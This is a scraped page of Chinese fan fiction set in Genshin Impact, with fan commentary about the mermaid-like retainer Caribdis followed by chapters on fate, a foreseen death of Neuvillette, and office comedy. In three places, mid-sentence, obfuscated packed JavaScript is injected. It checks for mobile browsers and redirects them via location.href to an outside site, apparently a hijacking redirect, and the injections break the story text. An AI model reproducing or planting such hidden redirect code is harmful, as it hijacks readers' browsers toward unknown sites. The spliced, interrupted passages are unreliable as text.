我都以为丝柯克逼格拉满把吞星之鲸收走就完了,谁知道她走了之后立马给了个核心碎裂的特写,丝柯克眼睛瞪大笑死我了。再一转眼,核心就到了那维莱特手里 261L 爷都被震惊到了,那维莱特还说这是卡吕普迪斯的一点小把戏,你们两个平时都是这么玩的吗 262L 所以卡吕普迪斯真的就是那维莱特眷属了呗,和美露莘一样 263L 包的呀,那维莱特对他真的超级信任,本来鲸鱼冲破地表蹦出来要吃人的时候,那维莱特还在担心观众席上的人类,然后卡吕普迪斯那把武器咻的一下出场,直接布阵让鲸鱼撞墙,那维莱特当时就笑了,我也笑了哈哈哈哈哈 264L 枫丹人看到卡吕普迪斯跟看到救星一样,喜出望外了属于是。那个半透明的保护罩把胎海水隔绝在外,对于亲眼看到胎海水溶解人类的枫丹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997572|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人来说,太有安全感了吧 265L 芙芙在被告席上本来都绝望了,卡吕普迪斯一声滚回来她唰的一下就站起来了(附动图.jpg),有点糊,但是可以明显看到芙芙站起来这个动作 266L 真的就是绝境之处的希望啊 267L 披头散发的老婆好漂亮,而且眼睛变成红色的了,超级凶悍,龇牙小鱼,完美戳中了我的xp 这鲨鱼牙……所以他什么时候进卡池,抽爆他!! 268L 包抽一只的,大尾巴嘿嘿嘿 269L 他和公子的配合也特别好,俩人拉着手又把吞星之鲸打回地底了,那个蓝色的水元素锁链能不能绑我身上,想被狠狠鞭笞 270L 我们能不能讲点老少皆宜的 271L 本来看他这么彪悍的打吞星之鲸,我只是稍微有点激动,但是看到动画里枫丹本地鲸鱼背着人浮出海面,龙蜥爬出来咬着人拖上岸,美露莘们划着小船救人,卡吕普迪斯把受伤的公子抱到鲸鱼背上坐下来,然后天光乍泄,他捂着脸哭的时候,我被狠狠触动了 272L 我跟你完全相反唉,我喜欢强势凶一点的,搞不懂他在哭什么 273L 在黄毛找芙宁娜问话被眼泪带入幻境的时候,那维莱特见到了芙卡洛斯,从她那里得知其实她猜到卡吕普迪斯猜到了她的计划(这什么套娃),两边都是心知肚明的态度,因为卡吕普迪斯一直都很维护芙宁娜,不论她五百年多么不像个神明多么没有个正形。芙卡洛斯说卡吕普迪斯应该什么都知道,只是从来不说。 黄毛见到的是芙宁娜过去的记忆,有关卡吕普迪斯的台词都是说卡吕普迪斯搜集到的消息显示原始胎海的异动越来越迫切,但是卡吕普迪斯经常鼓励她,每次她坚持不下去的时候,桌子上就会出现蛋糕,然后美露莘的声音说这是卡吕普迪斯莱述职的时候带给水神大人的……很温柔啊卡吕普迪斯,我觉得他可能是在为芙宁娜哭,为枫丹所有溶解的人类哭。 毕竟有那维莱特这个爱哭的水龙上司,有芙宁娜这个半夜偷偷抹眼泪的神明上司,卡吕普迪斯一条鱼在尘埃落定后喜极而泣也不是不行 274L 你字多跟你混 275L 所以现在的情况是,卡吕普迪斯一直知道芙卡洛斯的计划和芙宁娜五百年的忍耐,只是他不能说出来,也不能告诉那维莱特,跟她们一起忍耐了五百年甚至更久,然后预言实现诅咒破除,他高兴又难过,忍不住哭了,对吗 276L 对啊,而且那维莱特在天上宣判赦免枫丹人罪孽的时候其实也哭了吧,然后那些鲸鱼和龙蜥都有眼部眼泪特写 277L 因为感受到了王的痛苦吗 278L 所以枫丹剧情都得哭是吧,最后卡吕普迪斯被一只美露莘抱着的时候,公子在旁边欲言又止的表情把我逗笑了 279L 说真的,我严重怀疑被芙卡洛斯证实知道了很多的卡吕普迪斯其实很早就为洪水到来后要如何救人预演了很多次,你看他养的那些龙裔,无论是鲸鱼还是龙蜥,一个当船一个当救生员,跟莱欧斯利造的方舟相比也不差,何况数量那么多,美露莘都没歇着,泡在海里到处搜罗人,真的就是全家出动了 280L 对于枫丹人来说也很触动吧,很多枫丹人从小听着鲸群的歌声长大,然后在灾难到来的时候,鲸鱼出动救他们来了 281L 相比之下龙蜥动作好粗鲁,咬着人胳膊腿浮上来的 282L 已经很克制了,龙蜥咬合力那么恐怖,救上来的人还是好胳膊好腿,太温柔了吧 283L 毕竟是卡吕普迪斯带出来的 284L 枫丹水族是不是都很温柔,那维莱特一条涉世未深的龙私下里平易近人不说,卡吕普迪斯带出来的龙蜥都这样知道把控力度,美露莘笑容太甜了,超级会安抚人心 285L 公子厨就看到他抱着公子坐上鲸鱼的背,好像一个大哥哥……狠狠爱了 286L 我们鸭鸭也有人疼了呜呜呜 287L 等等我有个疑问,已知俩人一起打吞星之鲸然后离开了那里,是那维莱特和旅行者接着处理吞星之鲸,毕竟卡吕普迪斯要去抢救人。公子受了伤行动艰难,那直到卡吕普迪斯把他抱到鲸鱼背上坐的时候,中间这段路也是抱着公子游的吗?是公主抱吗? 289L 我靠,盲生你发现了华点 290L 我草,好磕 不行不能磕!这里是无cp文! 291L 而且之前和林尼他们仨聊天,也知道卡吕普迪斯平时就很关照他们三兄弟。菲米尼角色故事背景里还提到过小时候他被卡吕普迪斯抱着哄过,我靠这什么画面,真的就是母性光辉拉满 292L 卡吕普迪斯就很神奇,明明他被那维莱特亲口承认是最信赖的下属和家人,和公子手牵手然后抱过,和莱欧斯利也有一起喝下午茶聊天的时候,林尼琳妮特菲米尼三个更是超级崇拜喜欢他,明明应该是个同人本满天飞的角色,偏偏目前老福特的cp完全不成气候,cb粮那是满天飞炫都炫不过来,从昨晚到今早看得老子姨母笑就没停过 真的就是极其和谐温暖的情感,我很久没有看到这么好吃的cb了,独树一帜啊 293L 毕竟是一条很有安全感的鱼,而且正面互动太少了 294L 主要是太有非人的精灵感和母性的感觉,不是外表,就是那种剧情塑造出来的,和枫丹角色的认知中的形象。 很安心的鱼。 295L 好期待他之后的剧情,还有,他什么时候进卡池! 296L 不是,他这建模能进卡池吗? 297L 老米给他安排个变人的情节不就行了 298L 有人在官方下面问过,卡吕普迪斯是不是自机角色,官方是肯定的 299L 那包的呀,正好那维莱特拿回古龙大权,就设定龙王权柄拿回来然后眷属也拥有化形的力量了,我连理由都想好了,老米快点实机吧 300L 你们说要是鱼真的进卡池,生活天赋是什么?游泳不会溺死?或者是只要在水体内就像在枫丹海那样有独立体力条? 301L 不知道,但我知道如果鱼能够被淹死,那将会是本年度最大的笑话,从此以后老米的游戏将再也无法摆脱让鱼被淹死这个黑料了 302L 或者可能像雷神大世界无法烹饪那样,鱼不会淹死也是不占生活天赋那一栏的……一条鱼不会被水淹死也值得写进天赋里? 303L 楼主 有道理 304L 也是哦,他包是水系长柄武器角色的,上一个水系长枪还是沙漠的坎蒂丝,不会是个五星坎蒂丝吧?水附魔那种? 305L 谁知道呢,看老米怎么设计吧* 59.勇敢的心 又到了鲸群的繁殖季。 斯库拉在静原的带领下,和如今的鲸群首领长谈一番,表示自己已经从封印中脱离,如今本该履行庇护它们,教导和带领它们的职责。 “可是老夫与你们隔着长达千年的时光,对如今的龙众来说,老夫应当只是存在于古老故事里的影子。”斯库拉感慨道,“老夫想了很久,还是觉得延续这千年的生活。此后我久居旧日之海,你们一切如旧即可。毕竟,如今的水族是有王的庇护的。” 有无龙王庇护,这对任何一类元素生物族群来说是天差地别的。 斯库拉自打知道王已经诞生后,那底气是蹭蹭上涨,即便是天穹投下的注视也无所畏惧。 静原能理解他这种心情,眼中含笑:“家里有人好撑腰,哪怕是你我也避免不了这种想法的产生。” 斯库拉大笑起来。 鲸群这边算是公示了,龙蜥如今生活在伊黎耶地区,静原本来想让那群龙崽子下海来见亲王的,不过斯库拉阻止了他:“不必如此,卡吕普迪斯,老夫已经游览了如今的海洋,知晓没有老夫的世界也一切安好。” “老夫已经决定久居旧日之海,想念你和王的时候就会向上游到枫丹海,不要嫌弃老夫打扰就好……嗯?” 静原爬上他的背,笑嘻嘻道:“那带我去旧日之海玩吧,千年以前的雷穆利亚我还没有近距离看过。斯库拉,你会当一个好向导的,对吧?” 回应他的是自斯库拉胸腔中传递出来的笑声。 “当然,老夫……可是最了解雷穆利亚的龙裔了。” “斯库拉,你觉得,天上安排的命运是可以被推翻的吗?” 金发的旅者在旧日之海四处探索,斯库拉则载着静原在这片温暖的海悠然度日。背景音乐是振弦管道被海浪拨弄,以及那些蓝色橘色小章鱼的指挥乐。 不愧是在巨大乐器上建立起的旧日国度啊。 斯库拉本来哼着歌,冷不丁听到后辈这样发问,他如今对于命运的安排话题很是敏感,因而紧张兮兮道:“又有谁做出预言了吗?” 西比尔那女人残魂还没消散? “……你先回答我的问题嘛。”静原执着道,“你觉得命运可以被推翻吗?” “当然可以。”斯库拉毫不犹豫,“命运是天上僭越者的安排,而非本来的轨迹。这世上没有什么是该一成不变的,包括所谓的命运。” “即便你已经亲身经历过命运,也依旧这样认为吗?” 斯库拉振振有词:“是的,哪怕老夫与雷穆斯的反抗失败,也不代表命运这种鬼东西就是不可战胜不可超越的。” 像极了你那排位失败后不服输,拉着你跃跃欲试继续多排的好兄弟。 静原在斯库拉背上翻了个身,忍不住笑起来:“突然就很有自信了。” “老夫可是一直都很有自信的。” “……不,我说的是我。”静原低声道,“本来,我是觉得被命运这种东西安排也没什么的……” 斯库拉耐心听这位小鱼后辈的讲述,“因为命运安排这种东西,听上去太玄乎里。可能你今天吃汐藻而不是海草是命运,明天穿背带裤而不是牛仔裤是命运,后天选择打深渊魔物放弃当天除掉盗宝团是命运……” 静原又在发散思维:“可能就是因为这些微小的选择,改变了本来应该有的结局走向。也许不打深渊魔物去打盗宝团,魔物偏偏就在那天伤了人。如果打深渊魔物,说不定盗宝团就在野外袭击过路行人。人的生命是很脆弱的,一次袭击就能夺走他们的生命……那么做出这种选择的我,在某种程度上算不算改变他们的命运呢?本来可以晚点死或者不受伤的。” “在他人命运节点,无意中做出关键选择的我,是不是就是被命运安排了呢?可是当时的我完全没有感觉。”静原的奇思妙想还在继续,“或者因为旁人的选择,我也跟着有了不同的选择,就像蝴蝶效应一样……” “如果我观测到了他人的命运线,做出了影响他们的改变,这也是命运安排的一环吗?或者,会不会被命运线纠正?”他叹气道,“我总在想这些东西,让你见笑了。” 斯库拉没有听到下文了,才缓慢开口:“不,卡吕普迪斯,这并不会让我发笑。相反,我欣赏你在思想上的突破。” “龙的时代已经远去,除了一些老骨头和王,没有谁还记得远古时代,龙众才是提瓦特的统治者,那个时候可没有所谓的命运,所有生命的前路都充满无限生机与可能。世界蓬勃发展,随便龙众折腾。哪像现在,小心翼翼看僭越者的脸色。”斯库拉愤愤不平,“可是,老夫这等老骨头描述的过去,对于你们这些生活在僭越者统治时代的孩子来说,实在是太遥远,也太苍白了。” “就像鱼缸里的鱼难以想象海洋的宽广,就像老夫离开了旧日之海,惊叹于如今海洋的变化。”斯库拉补充道,“这是固有认知造成的思想差异,不是你们的错,要怪就怪天上的王八蛋,夺走了龙的世界。” “雷穆斯从西比尔那里得知了关于高天的预言,他最开始也只是抱着试一试的想法,最后无可避免的走上了那条路。”斯库拉难免唏嘘,“他是老夫看到的,第一个知道了命运还敢尝试反抗的魔神,所以老夫敬重他。即便他失败了,也是英雄。” “而今我又看到了你,卡吕普迪斯,你是我见到的第二个有推翻天空统治,推翻命运安排想法的灵魂。” 静原:“王也是啊。” “王拥有前代的记忆,生而知之,不属于老夫之前提到的范畴。即原本认同天空统治和命运规则的范畴。” 说通俗点,那维莱特和斯库拉那帮龙是从始至终就不接受天理统治,始终惦记着恢复旧日荣光的反抗者。而雷穆斯和静原这样的则是在天理统治下萌生出反抗之心的反叛者。不论原本身份如何,至少都不接受所谓的命运凌驾众生之上。 静原狠狠点头,总算明白了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009557|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯库拉的声音悠远:“所以卡吕普迪斯,你现在会彷徨,会无措,甚至会怯懦,这都是正常的,都在情理之中,也不必羞耻。老夫知晓你萌生出这样的念头一定踟蹰不定过,为此向老夫吐露心事,希望从年长者那里得到有用的回答作为日后行动的参考依据。老夫希望这样坚定的回答可以让你也有信心去面对前路的未知,看样子的确做到了。” 人鱼眼神几经闪烁,似乎有泪光。 “我告诫其他人的时候总是说得斩钉截铁头头是道,自己一个人的时候却没有办法完全说服自己……” 斯库拉就像所有和蔼的长辈那样:“这很正常。老夫听鲸群说你才千岁出头,还是孩子呢,有些东西先让老夫这些老骨头在前面扛着。要不是那妖魔封印老夫千年,你和王也不至于风雨凄苦的相依为命……” “越扯越远了啊。” “咳咳!总之,不必害怕,无需畏惧,我等龙众的使命本就是夺回世界的统治权,保护这个世界,守护我们的家园。为此有流血,有牺牲,敌人可能打死了还能重来,可是倒下的同伴无法复生。同行者会越来越少,但只要我们的王还在,只要王仍有诞生之日,龙的传承就不会断绝,我等的复仇也不会停止。” “卡吕普迪斯,别害怕所谓的命运,那不足为据。僭越者所安排的命运本就对我等满怀恶意,敌视我等的命运……哼!终究无法真正摆布我等!” “希望老夫今日的话语,能安抚你那颗摇摆的心。卡吕普迪斯,你是一条脆弱的小鱼,可你也是坚毅的龙裔。朝着你期冀中的未来大步前进吧,我等与你同行。” “你并非孤单的独行者。” “卡吕普迪斯?” 那维莱特看向突然造访办公室的眷属,并不惊讶他的到来,只是好奇他为何如此……激动? 静原向他伸手敞开怀抱:“快,抱一个,我感觉现在需要很多很多温暖的力量。” 坐在办公桌后看案子的那维莱特:“嗯?” 虽然不理解,但是作为王,满足眷属的期待是应尽之职,他从容的站起身绕过桌子,走到静原身前摊开双臂,这是一个邀请的姿势。 静原给了这个相伴千年的家人一个极其热烈的熊抱,两颗心紧紧挨在一起,似乎能隔着薄薄的皮肉听见彼此胸腔中,滚烫的心跳。 静原人形态光脚和那维莱特穿小高跟差不多,因此他将脸贴在那维莱特颈脖间的时候,能够感受到一些只有亲密相处才能体会到的动脉跳动。 那维莱特是鲜活的,是活生生的,不是一串代码,不是他的臆想。 这个拥抱很用力,也有些久,那维莱特轻轻拍着他的背,鼻尖充斥着对方身上海盐与水的自然气息:“现在还冷吗?” 冷的话他再多分一部分力量给眷属。 然后那维莱特听到自家孩子笑嘻嘻道:“特别特别暖和了,感觉能去至冬的冰湖游泳。” 有你在的话,我什么都不怕了。 60.何为真实 那维莱特感觉有点不对劲。 今天的枫丹廷阳光和煦微风送暖,透过窗户眺望远方,海如同一块巨大的蓝色镜子平躺在大地上。无论是海洋还是大地都一如昨日般展示着自己的秀美风光。 塞德娜送来的文件也没有问题,那维莱特粗粗翻阅一遍,都是些只用他签个字的文书。 不对劲来源何处呢? 那维莱特左思右想,对于他这种生物来说,预感有时候是极其重要的一个信号,所以当他的预感对他发出提示的时候,他毫不犹豫的选择了相信,然后逐个进行排查。 是前几天的案件被告人申请决斗吗? 不是,对方听到决斗代理人是克洛琳德后就把申请拿了回去。 是美露莘们受欺负了吗? 不是,如果真有那种情况发生,卡吕普迪斯一定比我发现得更早而且处理完了。 是卡吕普迪斯身体出问题了吗? ……不确定。 那维莱特沉思,前些天对方还突然造访沫芒宫给自己一个拥抱,那个时候他的身体一切正常,甚至相当健康强壮。 那问题可能出在哪呢? 那维莱特摸摸下巴,无意中瞥到了透明玻璃窗上映照出的自己的模样,一双琉璃色的眼睛。 啊,是眼睛。 那维莱特恍然大悟,卡吕普迪斯已经很久没有跟他提到过有关眼睛充血的现象了。 会是鱼油和护眼保健品的功劳吗?说不定他得到完整的源海赐福后就不再为此感到疼痛了,自己的力量又分给了他不少,现在的卡吕普迪斯足以傲视其他国家任何一位非龙王级的眷属……那维莱特少有的思绪发散,一面骄傲对方实力强大,一面担忧对方身上奇特的赐福。 那句璃月话怎么说来着——儿行千里……那维莱特收回思绪,决定今天按时下班然后去找对方检查一下身体。 也许真是父子连心(?),静原此时的确遇到了一点麻烦。 本来他在自己的藏宝洞穴里给收藏品挨个擦拭灰尘,捧起前阵子那维莱特送他的小鱼摆设后,突然瞧见小鱼闭着的眼睛流下了血红的泪痕。 吓得他差点失手甩飞出去,以为是沾染了隔壁璃月鬼怪故事中的什么脏东西。直到脸上湿漉漉的,他抬手一擦,才发现是自己眼眶中流下的血滴到了小鱼摆设的脸颊上,顺着滑落留下的痕迹而已。 静原:“啊……还好不是什么妖邪。” 原来是他的眼睛又流血了。 这次完全不痛呢。就像上次对阵吞星之鲸开启力量暴走的时候,只觉得眼前蒙上了血色的薄雾。 可我没有开启狂化模式啊,我只是待机擦灰尘而已,毫无危险呀。 眼前闪过光怪陆离的画面让他意识到这次是久违的预知,只是这次不痛了而已。 大概是源海赐福的缘故吧。 静原接受良好,然后去分析预知画面中所谓的“未来”。 他看见森林与梦的国土上出现深渊的痕迹,看见举止古怪的丘丘人站在它酣睡的同伴中间,与金发的异邦人交流。 他看见了旅行者的妹妹——一眼就能认出来,浅金色的短发,头上戴着因提瓦特花。他看见双子坐在梦中的树下交流,看见一枚古怪的核心被嵌入一具看不清模样的装造中,他看见了三双黑暗中伸出的手。 一双纺织丝线,一双丈量长度,一双下刀裁剪。 然后是一簇火焰的熄灭,是一头魔龙的复苏,是再次席卷大地的黑色浪潮,是大地的满目疮痍与尸横遍野。 最后的最后,是水泊中浮现的白发,断裂的手杖,黑色的手套。那手套掌心朝上,露出幽蓝色眼睛一般的纹路。 没有了。 什么都没有了。 静原从那种诡异的状态中抽离出来,大口大口的喘息着,刚刚的压抑让他几乎无法呼吸。想说话,可喉咙像是破风箱,嗬嗬的表示心有余而力不足,罢工了。 什么啊。 我才鼓起勇气,就让我看到这个未来。这真的是未来吗?还是对我的惩戒? 那维莱特没有看见卡吕普迪斯。 “他去哪里了?”那维莱特询问海沫村都美露莘们,得到的回答无一都是他匆匆回来过一次,然后就离开了。 不知道,不知道,大家都不知道。 放在平时,他可能下意识的认为卡吕普迪斯是去找他的朋友福勒依斯玩了,但今天明显不对劲。 那维莱特感受着心跳,动用王的权能去寻找眷属的下落,最终指引的方向居然是南方的须弥。 年轻的王眉头一皱,卡吕普迪斯从未去过须弥,为什么这次出现在了那里。 那维莱特决定跟上去看看。 可是还没等他抵达须弥,就在佩特莉可镇的水下发现了对方的踪迹。 “短时间内,又从须弥回到了枫丹吗?”那维莱特跳下水漩,来到了褪色古堡内里,在石室的藏书室看到了蹲坐在椅子上的卡吕普迪斯。 对方翻看着书籍,看上去似乎一切都好。 “那维莱特?你怎么来这了?”卡吕普迪斯明显惊讶的表情未能像以前那样取悦到自己,那维莱特只是走上前:“我今天心神不宁,想来看看你如何了。” 卡吕普迪斯站起身,奇怪的看了看自己:“我感觉我没什么问题啊。” “可我仍然心悸,总感觉你有危险。直到看到你好好的站在这里,才算放下半颗心。” 那维莱特注视着对方湖蓝色的眼睛,柔声询问:“能告诉我发生了什么吗?” “我……” 对方想到了什么,深呼吸一口气才继续开口:“我看见了疑似你死亡的片段。” 啊…… 是了,除了枫丹的覆灭或者自己的死亡,没有什么能让他如此不安吧。 那维莱特验证了自己一路的猜想,像是心中巨石落地一般,露出轻松的笑容:“原来如此。” 卡吕普迪斯瞪大了眼睛,就像风吹过,湖面掀起涟漪:“原来如此?你怎么这么轻松的就接受了这个昭示?” “毕竟你没有看见自己糟糕的未来。”那维莱特颔首,“能告诉我具体发生了什么吗?你所看见的[未来]。” 静原将自己今天看到的片段描述给了那维莱特,花了相当长的时间去思考疑似那维莱特死亡画面存在的线索。 “因为眼睛出血了,我看到的片段都被蒙上红色的薄雾。第一时间将水泊误认为血泊也不一定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14028103|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”静原呐呐道,“你常用的手杖断裂一分为二,手套上的蓝色花纹也是你的独有的标记,还有水中沉浮的白色发丝……” 乍一听到自己的〔死亡〕,那维莱特并没有什么实感,毕竟贵如元素龙王,也会有终结的那一日,他并不意外。 那维莱特点点头:“毕竟如果是你看到的那个未来,大地与海洋同时被深渊污染的未来,我会死亡也不是不可能。” 静原头痛扶额:“你表现得这么轻松,让我很没有实感啊。” “可是卡吕普迪斯,我不能失态。” 静原一愣。 “因为你信任我,因为我一直站在你身边,所以当你遇到了动摇心志的难题,我决对不能有任何退缩的表态。”那维莱特注视着对方,轻声细语,似乎怕惊动了什么一样,“连我也畏惧的话,要如何做你的后盾呢?” “我……”静原开始后悔告诉那维莱特了,烦躁的挠挠头,“早知道就——” “我在这里,卡吕普迪斯,我一直在这里。” 就像很多年前他安慰骤然直面天神威光的家人那般做出承诺:“无需畏惧,因为我一直在。” 王与眷属的关系并非此消彼长,而是一荣俱荣一损俱损,他们是天生的利益共同体——这世上没有什么能比这样的关系更牢固了。 静原已经不害怕对抗命运会失去什么了,哪怕要付出自己的性命与未来都是没关系的。可是他唯独害怕至亲之人的离去,尤其是那维莱特,他难以想象对方可能死去的未来。 如果那维莱特死去的话,意味着他庇护的众方水族,他居住的枫丹领土都将覆灭在那样的灾难中。 一想到这里他就止不住的战栗,就像风刮过秋天的残荷,就像那些干瘪的莲房一样,齐齐颤抖着。 “我还好好的呢。”那维莱特摸摸他的头发,“而且你看见的未来,也不是不能更改的,对吗?” 就像五百年前卡吕普迪斯知晓漆黑灾厄即将到来那会做出的抢救,最终还是改变了什么。 至少有人幸存。 “本来窥探命运的痕迹是一种残酷,可源海赐福于你,我想无论是你痛苦的变化形体,还是今日的预知不再疼痛,都是赐福带来的效果,只是我还不懂为什么会这样。”那维莱特叹气,“打起精神来,卡吕普迪斯。就算是天灾,也有一争之力,至少弄清楚致使我死亡的原因是什么吧?如果只是简单的深渊入侵,那我无法安然阖眼。” 静原吸了吸鼻子:“本来我想着找到旅行者,问问他都经历了什么,失去了什么核心,启动了那个装置。以至于跟后来的深渊淹没大地有着直接或者间接的联系。但是急匆匆踏上须弥的土地后,我又后悔了。” 因为这很可能是他之前预知片段即将重演的前奏。 他说:“一定不止是深渊的原因,一定还有别的因素。我得找出来,然后……” 掐死在摇篮里。 海中的凶兽这才隐隐暴露出他本来的面貌。 那维莱特对他这种一边掉眼泪吸鼻子一边恶狠狠放话的表情实在是不知道说什么好了,只是拿出手帕给小鱼擦眼泪,觉得他龇牙的表情也很有趣。 心里却对命运这种东西厌烦透顶。 61.失心的海妖 静原又开始吃药了。 因为那维莱特接他回到枫丹廷后,写信托希格雯让莱欧斯利在下次述职时带一些治疗眼睛的药物。 希格雯一听就明白自家叔叔的身体又出了问题,愁眉苦脸的开始制药。最后公爵大人送到最高审判官办公室的是整整一盒粉白色药片。 “希格雯说温水送服的效果最好,建议不要咬碎了再吃。”莱欧斯利也知道这份药是送给谁的,只是对于签收的人有些疑惑,“你下班后亲手交给卡吕普迪斯吗?” 那维莱特表示:“不必等下班。卡吕普迪斯这两天在我枫丹廷的住处休息,等会他来沫芒宫看望美露莘的时候,我会把药交给他,盯着他吃完今日的份额。” 卡吕普迪斯不喜欢吃药,尤其是吞服的药品胶囊之类。 得知这些信息后,莱欧斯利才算是对希格雯护士长有了可交代的:“希望卡吕普迪斯先生早日康复。” 莱欧斯利不知道静原眼睛出了问题到底是哪一方面的,不过猜到了那维莱特身份的他隐约感觉这不是自己可以探究的话题。 嗯……还是有些好奇卡吕普迪斯现在的情况呢。 静原这几天没有回海里睡觉,被那维莱特放到眼皮子底下盯着,就怕他哪天偷偷跑出去不见了。 “倒也不用看得这么紧张吧?”苦着脸吃药的静原无奈摊手。 那维莱特一边看文件,一边送上一杯温水:“因为我总觉得你会偷偷跑去做一些危险的事情。” 静原:“比如?” “找旅行者询问他这些天的经历,探寻深渊的足迹,去见旅行者的血亲,或者深入须弥,穿过封印去往底下的坎瑞亚。”那维莱特思考,“毕竟能够迅速蔓延到枫丹的深渊灾难,要么是纳塔全境崩溃,要么是须弥底下镇压的灾难重新爆发。去纳塔的路比较远,而且需要穿过气候炎热的沙漠。同等距离一样且有雨林作为过渡地带的须弥是目前最好的选择,而且听说旅行者最近也去往须弥活动。除此以外,我想不出你还有哪些选择。” 静原:“……” 天杀的,全中——你在我心里装监控了? “我并没有窥探旁人内心的癖好,卡吕普迪斯,我只是单纯的了解你。” 静原疑似因为这个回答失去了所有反抗的力气和手段,半晌憋出一句:“你不希望我去探查真相吗?” “不。”那维莱特冷静表示,“与其说我不希望你去,不如说,我是恐惧你一去不回。如果我认为你可以安全返程,那么无论你去哪里你想要做什么,我都赞同并支持。” 就像当年他千里迢迢奔赴至冬想要接回福勒依斯那样。 “你是担心我被深渊污染吗?没事的,我可以带上那柄法杖。厄里那斯赠予的骨骼和血液能够为我免疫很大一部分深渊伤害。”小心一些的话,一点侵蚀都不会沾染——他为了检验这个度,拿周边出现的魔物试验了很多次。 哇这药真的,好苦。 见卡吕普迪斯脸皱成皱巴巴一团,那维莱特忍不住笑了笑,眉眼都显得柔和不少:“我知道这些,只是想等你平复好心绪。卡吕普迪斯,你不是前线的先遣兵,随时要做好为传递第一手信息情报付出牺牲的准备。你是我的左膀右臂,如果你折损在探查的前线,要我怎么办?” “就像你当初深入海下被吞星之鲸吞下的那一刻,哪怕我坐在审判庭,都能感受到我与你之间生来便有的连接断裂了。我不想再重新感受一遍那种时刻的茫然。”那维莱特说到这里顿了顿,然后补充道,“就像你预知到我死去那样,茫然,无措,焦虑,恐惧,最后是愤怒。水族情感波动并不明显,就像水面的涟漪,可如果成为汹涌的波涛,就代表有严重的灾难发生。” “可是——” “静下心来。”那维莱特温声道,“命运并不可怕,我也没有那么脆弱。你该相信我,相信我会一直站在你身后。” “……” “最近这些天就留在沫芒宫陪我看文件吧,希格雯下次述职的日子就在后天,你也很久没有见到她了吧?” 静原在他办公室急得团团转,最后还是歇菜,认命的接过那维莱特递来的一摞文件翻看,然后又开始生气:“怎么这么多废话?后勤采买个螺丝报销也要写份报告让你批,枢律庭文员都吃白饭的?” “上次还有按钮报销。”那维莱特冷静的火上浇油。 静原憋着气继续看:“……清理枫丹科学院废墟的资金还没批下来?这次的理由是什么?” 那维莱特摊手表示:“作为新的旅游景点宣传。”效果连旅行者看了都说好。 静原把拳头捏得格吧格吧响:“好样的,真是好样的。” 他看完那一摞废话后抱着文件冲了出去,挨个揪人吵架。也不为难底层小职员,专找各个部门负责人。成功祸水东引的那维莱特长吁一口气,看来今天可以提前下班了。 沫芒宫内一时间人人自危,提前得到消息的某个负责人:“……今天的咖啡是不是还没买?我去!” 隔壁桌的另一个部门审计挤过来:“这种事怎么能行劳烦先生您?还是我去吧!” “我来我来,今天我请客,你们工作这么辛苦,我这个做同事的也是该体谅你们。” “不不不还是我去吧。” 被抢了工作的实习生看得一愣一愣:“啊?啊,啊……” 最后谁都没有跑掉,耳聪目明的人鱼已经来到了互相抢夺逃出生天机会的高层身后,手搭上他们的肩膀:“洛耶茨,柯妮莉娅,我们谈谈。” 完蛋了*。 二人同时想。 晚饭是在德波大饭店打包的百味一缕和肉酱千层面,坐在那维莱特家中客厅吃饭的静原吃得那叫一个长吁短叹,最后没吃饱,又煮了一小锅奶油蘑菇汤。 那维莱特不喝哈,这家伙只爱水,再就是特别清亮的汤品——浓汤他不喜欢。 嚎了一下午的静原嗓子有点痛,吃完饭洗了碗,和上司一起瘫在沙发上打发时间……说实话只有他是瘫着的,人家那维莱特优雅得跟个男模一样,坐得那叫一个端端正正规规矩矩,在那看书的样子就像副油画。 旁边半躺着的静原就是画中人物旁边的一坨不明生物。 静原:(●—●) 那维莱特已经习惯了静原在他视线范围内用任何一种姿势出现了。刚开始住进家中还有个正形,后来就是歪七扭八四仰八叉横行霸道像只螃蟹。那维莱特对此的评价是:“你高兴就好。” 烦得静原翻了个身,把脸埋进抱枕中。 他能感觉到那维莱特的手轻轻放在了自己的头顶,搓了搓他没有束起的长发,顺毛哄:“别担心,我还在。” 这家伙怎么像在哄猫猫狗狗一样啊! 静原气死了。 这一天天的净生气去了,啥也没干。 旅行者处理完须弥的指名委托,闲下来的时间打算在枫丹继续探索。 “要不邀请卡吕普迪斯一起吧?有他在的话,咱们也不用担心会破坏什么古代遗迹了。”显然派蒙对那天的沫芒宫一日游,半只脚踏入梅洛彼得堡有些后怕,“而且他带我们找宝箱很轻松耶。” 后半句话听得旅行者是真心动了:“那是先去海底还是海沫村?” 